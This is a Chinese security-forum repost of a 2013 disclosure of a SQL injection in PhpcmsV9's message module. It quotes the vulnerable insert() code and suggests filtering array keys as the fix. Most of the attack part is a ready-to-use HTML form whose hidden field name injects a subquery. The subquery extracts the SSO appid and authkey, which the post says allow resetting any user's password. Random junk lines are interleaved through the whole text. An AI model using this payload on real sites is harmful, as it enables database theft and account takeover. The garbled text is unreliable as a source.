中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
% ?+ \9 I5 Y3 Z$ A
: |# S% `# ?/ D& j& }
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
# j: t" Y; P6 n* p0 k' B
, f& X3 T8 G( x, P6 x3 B5 Q1 b9 ^0 d8 [
明天再更新下一个漏洞。
u$ M2 y0 U2 O
详细说明:
6 l# k" o) h0 S' M- n- p$ U% C" ?
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
+ P6 m$ G0 g0 l+ q3 z& ]8 k
) k% R+ V$ g4 Q& F6 @
$messageid = $this->message_db->insert($_POST['info'],true);
9 H# Z& o% f) B) S- [" p3 u
& f! D' Y% X u5 K8 E% U
, D# c1 y& r# {( {7 k) u" i
insert方法是key value的,代码如下:
8 l5 e _& p/ I
% G9 ^) f3 z2 S G
public function insert($data, $table, $return_insert_id = false, $replace = false) {
( U D) a+ g6 X+ @% m( v
if(!is_array( $data ) || $table == '' || count($data) == 0) {
% C; l: t; d6 ~0 [: q
return false;
2 A6 d! o/ P; V' i4 r, t( ~
}
; ?) P0 s3 Z8 r
1 r5 }/ q* g* s9 m) A7 T* o
$fielddata = array_keys($data);
z) u6 {8 J- a( {6 P8 c H
$valuedata = array_values($data);
4 U j; X0 l$ F; f- V7 q
array_walk($fielddata, array($this, 'add_special_char'));
# v( Z) w2 y! p! M2 L1 w
array_walk($valuedata, array($this, 'escape_string'));
+ h' _) a" v8 O2 \: R
; ?# O, ~ H, i' y0 I% f2 g8 t
$field = implode (',', $fielddata);
9 K1 u r+ ]& ]/ u. a
$value = implode (',', $valuedata);
) \8 ]! q2 x0 o' v) [: h
' g2 O- O$ f5 U6 N/ w8 F9 Z) ^( ~
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
& [+ z4 l8 M- U
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
0 v; A+ _! b2 E7 J
$return = $this->execute($sql);
# Z7 F7 o7 x: n; p
return $return_insert_id ? $this->insert_id() : $return;
$ a( n2 H0 z& t& \( W
}
- h7 C% ?# V# N* ` b1 `! I
9 R" H. U( K4 p" j, S
1 C! h' x: p) U0 X" ^, w7 ~
嗯,很遗憾的是
4 ^6 [# V# P* P
% u4 ~* Z9 t6 ~3 x5 p
array_walk($fielddata, array($this, 'add_special_char'));
6 c( s! V5 M( W7 n H- {7 L
; l& T; p. j/ }% s$ ~( r( g
: m2 T8 K/ J% {- V
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
( |+ E/ Y2 p: \1 q% V$ p
% A7 ]- V0 @$ w7 {0 r& Y6 E' |" D
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
) r! O8 D- y* h+ |" H/ e! P4 @
, r4 o8 b6 D/ D$ b# B
漏洞证明:
* x" {, `1 n" {. d
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
R* t; e" l2 c1 e
[attach]200[/attach]
/ ?3 P8 A4 E f% r" o: P! n
. }; ?0 x7 s; M, v. s" d
表单如下:用户名什么的得自己改一改。
: W( P& w: q& D
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
) @( y2 \7 P& I$ U/ A
<table width="100%" cellspacing="0" class="table_form">
! [0 ~ s- M! @
<tr>
. B( F& n0 L& Z( E2 m
<th>标 题:</th>
5 v2 L- V1 t! \
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
! o2 W% q8 O( e6 a# s3 T
</tr>
, c7 @* u4 a2 @: f& b
<tr>
& Q, N5 e" S) \+ n1 m4 z1 V
<th>内 容:</th>
9 Q% n: v1 i" W+ w1 D# \) d
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
1 h" R. `+ ^$ V5 D5 r+ w3 @) }
</tr>
5 v9 J* `1 s V' J/ T3 {
<input type="hidden" name="info[replyid]" value="2" />
: O9 p, E; J9 s A7 m
<input type="hidden" name="info[send_to_id]" value="cc" />
) @) A; @! Z: ^9 g9 G
<input type="hidden" name="info[send_from_id]" value="hh">
! q5 I3 M3 R! H" H) C
<!-- 漏洞的利用重点在这里开始 -->
% H! I- W* S D
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
4 w8 U4 i+ h0 t K# B, d, U
<!-- 漏洞的利用重点在这里结束 -->
% Q+ h8 ]) V2 j1 u
<tr>
. W0 c0 ?& M: f6 b; @
<th>验证码:</th>
3 m6 Q" V' P5 Y: K5 _
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
* e; T# V z3 C8 A. @4 V8 o. s/ D
</tr>
& C9 L1 L" ]/ L: o. x0 }+ _
<tr>
7 J8 Z5 }) r0 ^$ G0 K' d6 F( d
<td></td>
' b( e. t! A3 ]6 n0 R
<td colspan="2"><label>
' ~ ?$ Z7 C" h0 U, p: b+ g _
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
0 H/ R. v. s. ]% L
</label></td>
4 K& B5 D# S/ B
</tr>
, x/ P4 ~ U C( E( d
</table>
2 Z* b) A( C0 J3 t$ Q& w
</form>
# z8 _& K) u2 s8 w
在add_special_char函数内对key做过滤就可以了。
: G+ @, q8 R# F$ G& D
2 K7 i2 ^& {3 I9 z" ]
' D8 u$ P9 C8 j! O' j1 z
1 S& H" g! Y T# A. \
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2